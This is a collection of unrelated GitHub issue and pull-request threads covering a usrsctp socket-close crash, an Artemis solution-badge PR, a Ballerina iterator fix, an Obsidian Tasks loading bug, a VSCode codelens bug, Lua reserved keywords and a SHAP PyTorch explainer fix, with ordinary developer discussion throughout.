If you have any suggestions for additional testing beyond running the container manually, I'd appreciate hearing them.

@sptramer thanks for the tests, just wanted to make sure


SIGABORT on socket close

About 1/2000 times I get a SIGABORT while calling usrsctp_close on a socket, probably due to a race. I captured this event using rr and I attached the packed recording. This would allow you to step / reverse step the recording if you want.
Note that I operate using a cffi and I'll remove the rust calls from the backtraces for clarity.
Crash Backtrace
#0  0x0000000070000002 in ?? ()
  1 #1  0x00007fecbf9a5b5e in _raw_syscall () from /usr/local/bin/../lib64/rr/librrpreload.so
  2 #2  0x00007fecbf9a09d2 in traced_raw_syscall (call=<optimized out>)
  3     at /home/maxence/clones/rr/src/preload/syscallbuf.c:229
  4 #3  sys_clock_gettime (call=<optimized out>) at /home/maxence/clones/rr/src/preload/syscallbuf.c:1116
  5 #4  syscall_hook_internal (call=0x681fffa0) at /home/maxence/clones/rr/src/preload/syscallbuf.c:2835
  6 #5  0x00007fecbf9a03a6 in syscall_hook (call=0x681fffa0)
  7     at /home/maxence/clones/rr/src/preload/syscallbuf.c:2977
  8 #6  0x00007fecbf99fa9a in _syscall_hook_trampoline () from /usr/local/bin/../lib64/rr/librrpreload.so
  9 #7  0x00007fecbf99faca in __morestack () from /usr/local/bin/../lib64/rr/librrpreload.so
 10 #8  0x00007fecbf99fae5 in _syscall_hook_trampoline_48_3d_00_f0_ff_ff ()
 11    from /usr/local/bin/../lib64/rr/librrpreload.so
 12 #9  0x00001c460286b2cd in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:55
 13 #10 0x00001c460286c9b8 in __GI_abort () at abort.c:90
 14 #11 0x0000557463b3c8b8 in terminate_non_graceful ()
 15     at /home/maxence/zezima/usrsctp-rs/usrsctp-src/vendor/usrsctplib/user_environment.h:94
 16 #12 0x0000557463b3d39b in sodealloc (so=0x557465a76840)
 17     at /home/maxence/zezima/usrsctp-rs/usrsctp-src/vendor/usrsctplib/user_socket.c:242
 18 #13 0x0000557463b3dd06 in sofree (so=0x557465a76840)
 19     at /home/maxence/zezima/usrsctp-rs/usrsctp-src/vendor/usrsctplib/user_socket.c:313
 20 #14 0x0000557463b438d7 in usrsctp_close (so=0x557465a76840)
 21     at /home/maxence/zezima/usrsctp-rs/usrsctp-src/vendor/usrsctplib/user_socket.c:2194
 22 #15 0x00005574639eece0 in _$LT$usrsctp..one..stream..Stream$u20$as$u20$core..ops..drop..Drop$GT$::drop::h257825387690c3ce (self=0x7ffdce26e710) at usrsctp/src/one/stream.rs:351
[more rust code ...]

The SIGABORT was caused by this assertion:
https://github.com/sctplab/usrsctp/blob/b07df88c8993722bf4197900bda4646c12ab2f99/usrsctplib/user_socket.c#L242
By setting a hardware watchpoint I found out that the last time the so.so_pcb was modified was at the socket creation. This means that sctp_close did not deallocate the so.so_pcb properly.
When I reverse step into the sctp_close call, I found that inp->sctp_flags == 0x34880016.
Thats about all I thought could be relevent.
usrsctp.tar.gz

We also faced this issue.
It is very rare and looks like a data race.
During destruction in generated core dump I observe socket values like these:
(lldb) p *so
(socket) $2 = {
  so_count = -666673920
  so_type = 32567
  so_options = 0
  so_linger = 760
  so_state = -10240
  so_qstate = 32567
  so_pcb = 0x0000000000000000
  so_dom = 123
  so_head = 0x0000000000000000
  so_incomp = {
    tqh_first = 0x0000000000000000
    tqh_last = 0x0000000000000000
  }
  so_comp = {
    tqh_first = 0x0000000000000000
    tqh_last = 0x0000000000000000
  }
...

Obviously so_count is invalid here, but it is checked for != 0 in the parent function sofree
void
sofree(struct socket *so)
{
	struct socket *head;

	ACCEPT_LOCK_ASSERT();
	SOCK_LOCK_ASSERT(so);
	/* SS_NOFDREF unset in accept call.  this condition seems irrelevent
	 *  for __Userspace__...
	 */
	if (so->so_count != 0 ||
	    (so->so_state & SS_PROTOREF) || (so->so_qstate & SQ_COMP)) {
		SOCK_UNLOCK(so);
		ACCEPT_UNLOCK();
		return;
	}
        ...
}

@jean-airoldie do you have a test program to reproduce this?


Communication: Highlight solution answer in thread

Checklist
General

[ ] I tested all changes and their related features with all corresponding user types on a test server.
[x] This is a small issue that I tested locally and was confirmed by another developer on a test server.
[x] Language: I followed the guidelines for inclusive, diversity-sensitive, and appreciative language.
[x] I chose a title conforming to the naming conventions for pull requests.

Client

[x] Important: I implemented the changes with a very good performance, prevented too many (unnecessary) REST calls and made sure the UI is responsive, even with large data (e.g. using paging).
[x] I strictly followed the principle of data economy for all client-server REST calls.
[x] I strictly followed the client coding and design guidelines.
[x] Following the theming guidelines, I specified colors only in the theming variable files and checked that the changes look consistent in both the light and the dark theme.
[x] I added multiple integration tests (Jest) related to the features (with a high test coverage), while following the test guidelines.
[x] I added authorities to all new routes and checked the course groups for displaying navigation elements (links, buttons).
[x] I documented the TypeScript code using JSDoc style.
[x] I added multiple screenshots/screencasts of my UI changes.
[x] I translated all newly inserted strings into English and German.

Motivation and Context

Implements https://github.com/ls1intum/Artemis/issues/9934
Description
Add a solution badge to the resolving message of a thread.
Steps for Testing

Prerequisites:

1 Course
1 Instructor

Log in to Artemis
Go to the communication tab of any course
Create a conversation (thread) with at least two answers
Mark one answer as "Reply resovles the original message"
Find that this message is now marked with the "Solution" badge

Testserver States

[!NOTE]
These badges show the state of the test servers.
Green = Currently available, Red = Currently locked
Click on the badges to get to the test servers.

Review Progress

Performance Review

[ ] I (as a reviewer) confirm that the client changes (in particular related to REST calls and UI responsiveness) are implemented with a very good performance even for very large courses with more than 2000 students.
[ ] I (as a reviewer) confirm that the server changes (in particular related to database calls) are implemented with a very good performance even for very large courses with more than 2000 students.

Code Review

[ ] Code Review 1
[ ] Code Review 2

Manual Tests

[ ] Test 1
[ ] Test 2

Exam Mode Test

[ ] Test 1
[ ] Test 2

Performance Tests

[ ] Test 1
[ ] Test 2

Screenshots

Summary by CodeRabbit

New Features

Added a badge to indicate whether a post resolves an issue, enhancing user context.
Introduced localization support for the new badge with translations in both German and English.

Bug Fixes

Updated tests to ensure accurate verification of the new functionality and existing component behavior.

Tests

Added a new test case to check the display of the solution badge based on post resolution status.

Hi, could you please check why it's not possible to deploy to the test servers. I tried on TS1 and TS3 but still couldn't deploy. I also did update the brach before deploying. Thank you!

Hey,
this issue seems to persist across a lot of my PR's an I don't really know why... For me locally everything builds and runs perfectly. Is there any error message I could work with?

Hi, could you please check why it's not possible to deploy to the test servers. I tried on TS1 and TS3 but still couldn't deploy. I also did update the brach before deploying. Thank you!

Hey @HawKhiem, this issue seems to persist across a lot of my PR's an I don't really know why... For me locally everything builds and runs perfectly. Is there any error message I could work with?

Hi, could you please check why it's not possible to deploy to the test servers. I tried on TS1 and TS3 but still couldn't deploy. I also did update the brach before deploying. Thank you!

Hey @HawKhiem, this issue seems to persist across a lot of my PR's an I don't really know why... For me locally everything builds and runs perfectly. Is there any error message I could work with?

Hi, could you please check why it's not possible to deploy to the test servers. I tried on TS1 and TS3 but still couldn't deploy. I also did update the brach before deploying. Thank you!

Hey @HawKhiem, this issue seems to persist across a lot of my PR's an I don't really know why... For me locally everything builds and runs perfectly. Is there any error message I could work with?

Sorry for pressing the wrong button and acidentally closing this pr a minute ago. I reopen it. Anyway when I tried to deploy to a test server, I got something like this. Starting from the third check onwards somehow didn't run through

@HawKhiem I see, however all this errors seem to be CI related. It also does not make any sense that the server would not build as I didn't change anything in it.

Hi, could you please check why it's not possible to deploy to the test servers. I tried on TS1 and TS3 but still couldn't deploy. I also did update the brach before deploying. Thank you!

Hey @HawKhiem, this issue seems to persist across a lot of my PR's an I don't really know why... For me locally everything builds and runs perfectly. Is there any error message I could work with?

Sorry for pressing the wrong button and acidentally closing this pr a minute ago. I reopen it. Anyway when I tried to deploy to a test server, I got something like this. Starting from the third check onwards somehow didn't run through

@HawKhiem I see, however all the errors seem to be CI related. It also does not make any sense that the server would not build as I didn't change anything in it.

That is indeed quite odd. I reran again and the build still doesnt go through. I will try deploying and test locally later today

I have also encountered this problem. For the majority (maybe even all) of my PRs, the deployment on the test server does not work. For most of them the Build Expected — Waiting for status to be reported test did not go through and thus also the tests down below it.

I have also encountered this problem. For the majority (maybe even all) of my PRs, the deployment on the test server does not work. For most of them the Build Expected — Waiting for status to be reported test did not go through and thus also the tests down below it. @HawKhiem do you maybe have an option like this shown to you?  I am not sure, but the build did not go through before sb pressed this for me. Or is this related to something else?

Yes I also have that option

That is indeed quite odd. I reran again and the build still doesnt go through. I will try deploying and test locally later today

Just a quick update for others who may have the same problem of PRs not being deployed. If you try to create a PR with a branch from a forked Artemis repository, the test server will not deploy it.


Update Dependencies

Sorry for late response-is it really needed, tho? The older versions still work fine, and I won't be making another update for a while since I want to work on other projects.


Fix iterator for immutable values from imported types

Purpose
Fix the map/table iteration failing with No such record error when we iterate over a map/table of records that is imported from another module
Fixes #30566
Approach
The failure is due to the iterator call the getZeroValue() of the value from a  wrong package.
Fixed it by providing the empty value  from the original package for getZeroValue() call.
Samples
In main.mod1.bal
public type Student record {
    string name = "";
    int id = 1;
};
public type StudentMap map<Student>;

In main.bal,
import main.mod1;
import ballerina/io;

public function main() {
    mod1:StudentMap studentMap = {a : {name: "aaa"}, b : {name: "bbb"}};
    int count = 0;
    foreach var entry in studentMap.cloneReadOnly() {
        count += 1;
    }
    io:println(count);
}

Remarks
Related  #32283
Check List

[x] Read the Contributing Guide
[ ] Updated Change Log
[ ] Checked Tooling Support (#)
[x] Added necessary tests

[x] Unit Tests
[ ] Spec Conformance Tests
[x] Integration Tests
[ ] Ballerina By Example Tests

[x] Increased Test Coverage
[ ] Added necessary documentation

[ ] API documentation
[ ] Module documentation in Module.md files
[ ] Ballerina By Examples

Lets send this to bets 3 branch

Lets send this to bets 3 branch

Moved the base branch here :
https://github.com/ballerina-platform/ballerina-lang/pull/32444


(Ease the installation and testing) Add a Cargo package to build the packages at Cargo.toml

Can you elaborate?  Not a cargo expert and the GH issue did not include details.

@jgarzik The proper name is a Cargo workspace, but it don't help with what I want.


"Loading tasks" but doesn't load?

Expected Behavior
When running the query for tasks, expect to see tasks.
Current behaviour
Plugin just says "Loading tasks" for a few hours now.
Steps to reproduce
No idea why this is happening? It was working fine until today, so not sure really how to reproduce.
Which Operating Systems are you using?

[ ] Android
[ ] iPhone/iPad
[ ] Linux
[ ] macOS
[X] Windows

Obsidian Version
0.15.9
Tasks Plugin Version
1.11.0
Checks

[X] I have tried it with all other plugins disabled and the error still occurs

Possible solution
No response

Please close all files in Obsidian and restart it. This usually fixes the problem. Thank you.

I will add some more logging in a future release to help track down the cause.

Did that...several times. And it's still not working. Any other steps I
could try? It's done that before and restarting Obsidian definitely
addressed the issue.
On Fri, Aug 26, 2022 at 9:19 AM Clare Macrae @.***>
wrote:

Please close all files in Obsidian and restart it. This usually fixes the
problem. Thank you.
—
Reply to this email directly, view it on GitHub
https://github.com/obsidian-tasks-group/obsidian-tasks/issues/1072#issuecomment-1228549551,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEDBJPETMTN7KNNOECMCMX3V3DG6RANCNFSM57WSHIZA
.
You are receiving this because you authored the thread.Message ID:
@.***>

--
Regards,
Dan Smock
Cell/WhatsApp: +1<PHONE_NUMBER>
*Skype: *dan.smock73

I just opened a new vault, and the plugin's working there. No notes in it, no other plugins.

There have been a couple of these reports in the last few days, and I saw it once on my Mac recently (albeit with modified Tasks code).
I do believe that it’s a genuine problem but think that it must in some way be dependent on the content of people’s vaults. Otherwise there would have been hundreds or thousands of reports.
Can you try and think about what changed recently?
Did update obsidian or the tasks plugin recently?
Did you add a new task, perhaps with an unusual accent or character in it?

I'll check that next time. In the process of updating files, looks like
whatever was causing the issue's been resolved, and it's working now.
Thanks for the follow up, clearly something on my end in terms of naming
something weird.
On Fri, Aug 26, 2022 at 11:34 AM Anna Kornfeld Simpson <
@.***> wrote:

Are there any warnings or error messages in the Developer Console?
(Ctrl+Shift+i on Windows, not available on mobile)
To echo Clare, I suspect that Tasks is getting stuck on parsing something
in a file, so if you know what files you changed recently, you could try
them in the new vault and see if any of them cause the breakage.
—
Reply to this email directly, view it on GitHub
https://github.com/obsidian-tasks-group/obsidian-tasks/issues/1072#issuecomment-1228703173,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEDBJPCIT4HLK2U6MMICUTLV3DW2XANCNFSM57WSHIZA
.
You are receiving this because you authored the thread.Message ID:
@.***>

--
Regards,
Dan Smock
Cell/WhatsApp: +1<PHONE_NUMBER>
*Skype: *dan.smock73

I'm running into the same issue on a Mac. Any updates on this?

I have seen this a few times on my Mac, usually when I have been updating my Tasks plugin.
Every time, restarting Obsidian fixed this problem.

I will be tracking this issue in #829.

I'm in the process of rebuilding the database anyway, going full Johnny
Decimal, so might be an opportunity to move things one at a time(ish) and
see what the issue is. We had an internet outage recently and it's possible
that in syncing there's something in conflict with a weird task/file name
that's hanging it up.
On Fri, Aug 26, 2022 at 10:35 AM Clare Macrae @.***>
wrote:

There have been a couple of these reports in the last few days, and I saw
it once on my Mac recently (albeit with modified Tasks code).
I do believe that it’s a genuine problem but think that it must in some
way be dependent on the content of people’s vaults. Otherwise there would
have been hundreds or thousands of reports.
Can you try and think about what changed recently?
Did update obsidian or the tasks plugin recently?
Did you add a new task, perhaps with an unusual accent or character in it?
—
Reply to this email directly, view it on GitHub
https://github.com/obsidian-tasks-group/obsidian-tasks/issues/1072#issuecomment-1228645986,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEDBJPF4XALZX3E7WZPZFK3V3DP43ANCNFSM57WSHIZA
.
You are receiving this because you authored the thread.Message ID:
@.***>

--
Regards,
Dan Smock
Cell/WhatsApp: +1<PHONE_NUMBER>
*Skype: *dan.smock73

Think it was just one note that had it hung up. Not really sure what I did,
since it's been resolved for a while now, but seems to be working?
On Tue, Oct 11, 2022 at 2:37 AM Clare Macrae @.***>
wrote:

Thanks @dans73 https://github.com/dans73 - if you can, please do let me
know how it goes.
—
Reply to this email directly, view it on GitHub
https://github.com/obsidian-tasks-group/obsidian-tasks/issues/1072#issuecomment-1274226130,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AEDBJPDJZKSM7LPGLQWJFP3WCUKMXANCNFSM57WSHIZA
.
You are receiving this because you were mentioned.Message ID:
@.***>

--
Regards,
Dan Smock
Cell/WhatsApp: +1<PHONE_NUMBER>
*Skype: *dan.smock73


Codelens showing number of references twice!

VSCode Version: 1.42.0
OS Version: 10.15.2 Mac

Steps to Reproduce:

Go to existing project with lot of dependencies.
look at the class/func being declared.  There will be small snippet at top telling you number of references you have.
Need to have jsconfig.json and have codelens for js enabled.

Is it normal behavior? do they tell two different things?
Does this issue occur when all extensions are disabled?: Yes
Tried with Insider as well
settings.json

 {
    "javascript.referencesCodeLens.showOnAllFunctions": true,
    "javascript.referencesCodeLens.enabled": true,
    "editor.formatOnSave": true
}

Left one is wrong since it counts the declaration as a reference too, maybe subjective but annoying for sure. It's not a new problem, I think I first noticed it in Sep 2019.
For Example:
Left one (wrong)

Right one (correct)

I had this issue for a while not with latest update. I probably first noticed like Sep 2019.

Please share a complete, self contained code example (as text!)

https://github.com/techsin/vscode_bug_double_references

I've created the repo. Minimal. Turns out adding PropTypes to a function being exported is what triggers it. Hopefully that is of some importance.

Thanks @techsin! Very simple repo:
function A() {
  console.log("hi");
}

A.x = {};

Thanks for quick action


Add GitHub issue forms

This PR adds 3 new issue forms as described in issue #27. Said issue forms are based on Appwrites issue templates as suggested in the issue, though re-worded to fit this repository and project.
Testing of the issue forms can be found in a repository called issues-test. This is due to a GitHub limitation where issue templates located in branches cannot be used as templates. Therefore I created a new public repository to test with.
Suggestions and improvements are welcome, have a wonderful day.

bug.yaml
Changed the Appwrite version to Utopia version and added the last 5 versions to the dropdown.
Added a new PHP version dropdown for quick access to potential PHP versions.
Choose to add 7.3 and 7.4 to the dropdown based on the composer.json PHP requirements.
documentation.yaml
Copied almost verbatim from Appwrites template, re-worded slightly, and removed the CoC checkbox since this repository currently doesn't have a CoC. Will add it back if requested.
feature.yaml
Not much difference between Appwrites and this. As with previous templates, it is only slightly re-worded.

@thinkverse really great job. Please few small modifications to make it consistent across our ecosystem.
Thank you.

Great work @thinkverse 🚀 Please feel free to look for more PRs you might be interested in helping with on our long list of Hacktoberfest friendly issues to help make Appwrite better.


How do you Update the Headset Client?

I'm using 2.2.2 on PC, but 2.1.5 on Headset. How do I update it to the correct version?

Use adb to install apk.
If you can't use adb, please use server 2.1.5.

If you install it through the Oculus Store, is it supposed to automatically update as you push out new releases?

If I remember correctly, when the new release is available, you can see Start button is changed to Update button on Oculus Store.
I can't remember if you can continue to use old version after the release.

what is the rule to keep versions aligned? they need have two numbers same?

so minor update is 3rd number and it does not break compatibility. right? at least by purpose?


[PY] feat: deploy Python echo bot to azure

Linked issues
closes: #1254
Details

Update configuration to make echo bot work after deploy to Azure
Use Teams-AI rc release
Add Teams Toolkit .env files, for users to better understand what information will be generated by Toolkit
Change Teams Toolkit configuration version to latest
Use debugpy task per Python extension's latest change

Attestation Checklist

[x] My code follows the style guidelines of this project

I have checked for/fixed spelling, linting, and other errors

I have commented my code for clarity

I have made corresponding changes to the documentation (updating the doc strings in the code is sufficient)

My changes generate no new warnings

I have added tests that validates my changes, and provides sufficient test coverage. I have tested with:

Local testing
E2E testing in Teams

New and existing unit tests pass locally with my changes

poetry.lock should be checked in to source control

@aacebo My understanding is poetry.lock is similar to package.lock.json in nodejs. For sample projects, we can remove it from source control so users can always get latest packages that satisfies the dependency in pyproject.toml. The benefit to us is we don't need to maintain (update) the lock file to use latest packages to avoid security vulnerabilities. The JS samples in our repo also does not contain package.lock.json.
Please let me know how you think. I will add poetry.lock if that's what we want to do.


Disallow using Lua keywords as names

From https://www.lua.org/manual/5.1/manual.html:
The following keywords are reserved and cannot be used as names:

     and       break     do        else      elseif
     end       false     for       function  if
     in        local     nil       not       or
     repeat    return    then      true      until     while

Duplicate of #47, we can actually do this now because we recently refactored to transpileIdentifier.

Thought I just had: Different versions of Lua might use different keywords, so that should be kept in mind when implementing this.

Adressed with d63ce0365c509ba4819b20220acccaaa1bfb27e8.


Note that it's OK if all training progress steps are not recorded

We started recording steps towards training progress in 2017(?) so people who were certified before that may not see all three checkout steps recorded.  Even people who got certified in the past few years may not see all steps recorded as this is a manual process and something may have been missed.
This section:

should include a note that says:
"Due to the structure of our checkout tracking progress, all steps towards checkout may not be included here.  If your instructor badge (DC, LC, and/or SWC) is correctly displayed, you are in good standing."

@maneesha this screenshot corresponds to person profile details displayed in person details page (this is admin-only view).
For any other trainee, the view with training progress details is this one: https://amy.carpentries.org/dashboard/trainee/training_progress/
I'll add a note in there.


Ensure PyTorch Deep Explainer can handle single output models

A fix to #301

Great!

@AvantiShri, it should be fairly stable, but its functionality is limited, mainly because:

The multipliers are only calculated on a module level, instead of functions. See here for more information: https://github.com/slundberg/shap/pull/262

Only a few operations have been implemented so far. They are all listed at https://github.com/slundberg/shap/blob/master/shap/explainers/deep/deep_pytorch.py#L316

@AvantiShri I don't have a 1D model in front of me to verify it works, but if you find adding Conv1d works for you I am happy to merge a one-line PR as soon as the unit tests pass.

Thanks Scott, will do if we end up going in that direction.
One feature that I am planning to implement (let me know if I shouldn't) is functionality to generate a set of reference on-the-fly for each input example (rather than having a fixed self.data reference for all the examples). This is relevant because we've found that a reference consisting of dinucleotide-shuffled versions of the input sequence works better than a fixed all-zeros or a GC-content-frequency reference. It looks like the current DeepExplainer implementation fixes data as an attribute of the class:
https://github.com/slundberg/shap/blob/1e770087279455784329fb98bbae931b0685784e/shap/explainers/deep/deep_tf.py#L105
However, unlike marcoancona/DeepExplain (where the reference is used to precompute static values in the computation graph), in your implementation self.data is evidently fed as an input to the computation graph in the form of joint_input, so it seems as though it would be fairly straightforward to modify the code to generate a different reference in joint_input dynamically for each input:
https://github.com/slundberg/shap/blob/1e770087279455784329fb98bbae931b0685784e/shap/explainers/deep/deep_tf.py#L247-L250
Please let me know if I'm mistaken!

@AvantiShri that would be great! The only issue I can foresee is that self.expected_value will no longer be a single number for all the inputs (since each sample will have it's own background distribution). For now I would just leave self.expected_value as None when there is not a fixed background set, people can easily compute it anyway as the difference between the model prediction and the sum of the attributions.
I am not sure the best way to expose that functionality, but perhaps letting the data argument in the constructor be a function that gets the data sample and produces the background set?

Yup, that's what I was thinking too (letting the data argument in the constructor be a function that gets the data sample and produces the background set). Ok, great that you don't foresee any dealbreaker issues.